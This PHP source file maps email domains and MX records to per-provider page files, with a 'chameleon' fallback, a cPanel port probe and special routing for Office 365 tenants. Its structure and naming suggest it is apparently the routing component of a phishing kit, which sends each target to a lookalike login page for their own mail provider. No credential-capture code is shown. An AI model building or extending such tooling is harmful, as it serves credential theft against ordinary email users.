<?php
/**
 * Email Provider Domain Mapping (PHP-side)
 * 
 * Mirrors the JavaScript mapping in js/email_provider_detector.js
 * Used by direct_loader.php to detect the correct provider page
 * without relying on client-side JavaScript.
 * 
 * IMPORTANT: Keep this in sync with js/email_provider_detector.js
 * When adding a new provider, update BOTH files.
 */

// Maps email domains to their corresponding PHP file names (without .php extension)
$EMAIL_PROVIDER_MAP = [
    // Outlook/Hotmail
    'outlook.com'              => 'outlook',
    'hotmail.com'              => 'outlook',
    'live.com'                 => 'outlook',
    'msn.com'                  => 'outlook',

    // Gmail
    'gmail.com'                => 'gmail',
    'googlemail.com'           => 'gmail',

    // Access
    'myaccess.ca'              => 'access',

    // Bell
    'bellnet.ca'               => 'Bell',
    'bell.net'                 => 'Bell',
    'bell.ca'                  => 'Bell',

    // Bigpond
    'bigpond.com'              => 'bigpond',
    'bigpond.net.au'           => 'bigpond',

    // BT Internet
    'btinternet.com'           => 'btinternet',
    'bt.com'                   => 'btinternet',
    'btopenworld.com'          => 'btinternet',

    // Comcast
    'comcast.net'              => 'comcast',

    // Earthlink
    'earthlink.net'            => 'Earthlink',

    // Eastlink
    'eastlink.ca'              => 'eastlink',

    // NorthwesTel
    'northwestel.net'         => 'northwestel',

    // Cogeco
    'cogeco.ca'               => 'cogeco',

    // Bell Aliant
    'bellaliant.net'          => 'Bellaliant',
    'sympatico.ca'             => 'Bellaliant',

    // Wightman
    'wightman.ca'             => 'whiteman',

    // Frontier
    'frontier.com'             => 'frontier',
    'frontiernet.net'          => 'frontier',

    // KPN Mail
    'kpnmail.nl'               => 'kpnmail',
    'kpn.nl'                   => 'kpnmail',

    // MTS
    'att.net' => 'att',
    'usa.net' => 'usa',
    'sbcglobal.net' => 'att',
    'mymts.net'                => 'mymts',

    // Network Solutions
    'netsolmail.com'           => 'NetworkSolutions',
    'networksolutionsemail.com'=> 'NetworkSolutions',

    // Rackspace
    'rackspace.com'            => 'Rackspace',

    // Shaw
    'shaw.ca'                  => 'shaw',

    // Telia
    'telia.com'                => 'telia',

    // Zoho
    'zoho.com'                 => 'zoho',
    'zohomail.com'             => 'zoho',

    // IONOS (1&1)
    'ionos.com'                => 'ionos',
    'ionos.co.uk'              => 'ionos',
    'ionos.de'                 => 'ionos',
    'ionos.fr'                 => 'ionos',
    'ionos.es'                 => 'ionos',
    'ionos.it'                 => 'ionos',
    '1and1.com'                => 'ionos',
    '1und1.de'                 => 'ionos',
    'online.de'                => 'ionos',
    'onlinehome.de'            => 'ionos',

    // Google (Prioritized to Chameleon as per user request)
    'google.com'               => 'chameleon',
    'gmail.com'                => 'chameleon',
    'googlemail.com'           => 'chameleon',

    // Range
    'rangeweb.net'             => 'range',

    // Zimbra
    'in.patrika.com'           => 'zimbra',
    'ptd.net'                  => 'zimbra',

    // Messaging (Aussie Domains)
    'themessagingco.com.au'    => 'messaging',
    'iinet.com.au'             => 'messaging',
    'tpg.com.au'               => 'messaging',
    'internode.com.au'         => 'messaging',
    'westnet.com.au'           => 'messaging',
    'adam.com.au'              => 'messaging',

    // Bell (Additional)
    // bellnet.ca and sympatico.ca moved to Bellaliant.php to fix duplicate mapping
];

// MX record patterns → provider mapping (for custom domains)
// When a domain is not found in $EMAIL_PROVIDER_MAP, we do an MX lookup
// and match the MX hostname against these patterns.
$MX_PROVIDER_MAP = [
    // Microsoft 365 / Outlook
    'outlook.com'              => 'outlook',
    'microsoft.com'            => 'outlook',
    'protection.outlook.com'   => 'outlook',
    'olc.protection.outlook.com' => 'outlook',

    // Zoho
    'zoho.com'                 => 'zoho',
    'zoho.eu'                  => 'zoho',
    'zoho.in'                  => 'zoho',

    // Rackspace
    'emailsrvr.com'            => 'Rackspace',
    'rackspace.com'            => 'Rackspace',

    // Network Solutions
    'netsolmail.com'           => 'NetworkSolutions',
    'networksolutionsemail.com'=> 'NetworkSolutions',
    'mx.networksolutionsemail.com' => 'NetworkSolutions',

    // IONOS (1&1)
    'mx00.ionos.com'           => 'ionos',
    'mx01.ionos.com'           => 'ionos',
    'mx00.1and1.com'           => 'ionos',
    'mx01.1and1.com'           => 'ionos',
    'ionos.com'                => 'ionos',
    '1and1.com'                => 'ionos',

    // GoDaddy
    'smtp.secureserver.net'    => 'godaddy',
    'mailstore1.secureserver.net' => 'godaddy',
    'secureserver.net'         => 'godaddy',

    // Zoho (Specific Patterns)
    'mx.zohomail.com'          => 'zoho',

    // Zimbra (Specific Patterns)
    'av-mx.com'                => 'zimbra',

    // cPanel (Specific Patterns)
    'cpanel'                   => 'cpanel',
    'cpanelemaildiscovery'     => 'cpanel',

    // ServerData / intermedia (Hosted Exchange)
    'serverdata.net'           => 'owa',
    'intermedia.net'           => 'owa',
    'exch021.serverdata.net'   => 'owa',
    'exch081.serverdata.net'   => 'owa',
    'exch092.serverdata.net'   => 'owa',
    'west.smtp.mx.exch090.serverdata.net' => 'owa',
    'east.smtp.mx.exch090.serverdata.net' => 'owa',
    'ar-west.smtp.mx.exch090.serverdata.net' => 'owa',
    'ar-east.smtp.mx.exch090.serverdata.net' => 'owa',

    // Generic Fallbacks (Removed 'webmail' as we now use 'chameleon' as the universal fallback)
    // 'mail'                     => 'webmail',
    // 'mx'                       => 'webmail',
    // 'smtp'                     => 'webmail',
];

/**
 * Detect email provider from email address.
 * 
 * 1. Extracts domain from email
 * 2. Checks direct domain mapping
 * 3. Checks partial/subdomain matches
 * 4. Falls back to MX lookup for custom domains
 * 5. Returns 'chameleon' if nothing matches
 * 
 * @param string $email The email address
 * @return string Provider name (matches PHP filename without .php)
 */
function detectEmailProviderFromEmail($email) {
    global $EMAIL_PROVIDER_MAP, $MX_PROVIDER_MAP;

    if (empty($email) || strpos($email, '@') === false) {
        return 'chameleon';
    }

    $parts = explode('@', $email);
    if (count($parts) !== 2) {
        return 'chameleon';
    }

    $domain = strtolower(trim($parts[1]));

    // 1. Direct domain match
    if (isset($EMAIL_PROVIDER_MAP[$domain])) {
        return $EMAIL_PROVIDER_MAP[$domain];
    }

    // 2. Subdomain match (e.g., mail.bell.net → bell.net)
    foreach ($EMAIL_PROVIDER_MAP as $mapDomain => $provider) {
        if (substr($domain, -(strlen($mapDomain) + 1)) === '.' . $mapDomain) {
            return $provider;
        }
    }

    // 3. MX lookup fallback for custom domains
    $mxProvider = detectProviderFromMX($domain);
    if ($mxProvider !== null) {
        return $mxProvider;
    }

    // 4. Default fallback
    return 'chameleon';
}

/**
 * Perform MX lookup and match against known provider MX patterns.
 * 
 * Uses tiered priority:
 * 1. Specific hostname matches
 * 2. Keyword-based matches
 * 3. Generic fallback matches
 * 
 * @param string $domain The email domain to look up
 * @return string|null Provider name or null if no match
 */
function detectProviderFromMX($domain) {
    global $MX_PROVIDER_MAP;

    if (!function_exists('getmxrr')) {
        return null;
    }

    $mxHosts = [];
    $mxWeights = [];
    $success = @getmxrr($domain, $mxHosts, $mxWeights);
    if (!$success || empty($mxHosts)) {
        return null;
    }

    $normalized = [];
    foreach ($mxHosts as $host) {
        $normalized[] = strtolower(rtrim($host, '.'));
    }

    // Tier 0: Composition Match (Surgical Enterprise O365 -> OWA)
    // Matches patterns like: domain-tld.mail.protection.outlook.com
    $domainPattern = str_replace('.', '-', $domain) . '.mail.protection.outlook.com';
    foreach ($normalized as $mxHost) {
        if (strpos($mxHost, $domainPattern) !== false) {
            return 'owa';
        }
    }

    // Tier 1: Specific Pattern Matches
    foreach ($normalized as $mxHost) {
        foreach ($MX_PROVIDER_MAP as $pattern => $provider) {
            // Skip generic patterns in Tier 1
            if (in_array($pattern, ['mail', 'mx', 'smtp'])) continue;

            if ($mxHost === $pattern || 
                strpos($mxHost, '.' . $pattern) !== false || 
                strpos($mxHost, $pattern . '.') !== false) {
                return $provider;
            }
        }
    }

    // Tier 2: Keyword-based matches
    foreach ($normalized as $mxHost) {
        if (strpos($mxHost, 'zoho') !== false) return 'zoho';
        if (strpos($mxHost, 'zimbra') !== false) return 'zimbra';
        if (strpos($mxHost, 'outlook') !== false) return 'outlook';
        if (strpos($mxHost, 'microsoft') !== false) return 'outlook';
        if (strpos($mxHost, 'emailsrvr') !== false || strpos($mxHost, 'rackspace') !== false) return 'Rackspace';
        if (strpos($mxHost, 'godaddy') !== false || strpos($mxHost, 'secureserver') !== false) return 'godaddy';
        if (strpos($mxHost, 'ionos') !== false || strpos($mxHost, '1and1') !== false) return 'ionos';
        if (strpos($mxHost, 'networksolutions') !== false || strpos($mxHost, 'netsol') !== false) return 'NetworkSolutions';
        if (strpos($mxHost, 'owa.') !== false || strpos($mxHost, '.owa.') !== false || strpos($mxHost, 'exchange.') !== false || strpos($mxHost, '.exchange.') !== false || strpos($mxHost, 'serverdata.net') !== false || strpos($mxHost, 'intermedia.net') !== false) return 'owa';
    }

    // Tier 3: Generic Fallback Matches (Disabled - Use Chameleon instead)
    /*
    foreach ($normalized as $mxHost) {
        if (strpos($mxHost, 'mail') !== false || 
            strpos($mxHost, 'mx') !== false || 
            strpos($mxHost, 'smtp') !== false) {
            return 'webmail';
        }
    }
    */

    // Tier 4: Active Port Identification (cPanel discovery)
    // Attempt connections to standard cPanel webmail port 2096
    $hostsToProbe = [$domain, 'mail.' . $domain];
    foreach ($hostsToProbe as $probeHost) {
        $connection = @fsockopen($probeHost, 2096, $errno, $errstr, 2);
        if ($connection) {
            fclose($connection);
            return 'cpanel';
        }
    }

    return null;
}

/**
 * Validate that a provider file exists.
 * 
 * @param string $provider Provider name
 * @return bool True if provider file exists
 */
function providerFileExists($provider) {
    $path = __DIR__ . '/providers/' . $provider . '.php';
    return file_exists($path);
}

/**
 * Get the provider file path relative to the pages directory.
 * 
 * @param string $provider Provider name
 * @return string Relative path to provider PHP file
 */
function getProviderPath($provider) {
    if (!providerFileExists($provider)) {
        $provider = 'chameleon'; // Fallback
    }
    return 'providers/' . $provider . '.php';
}
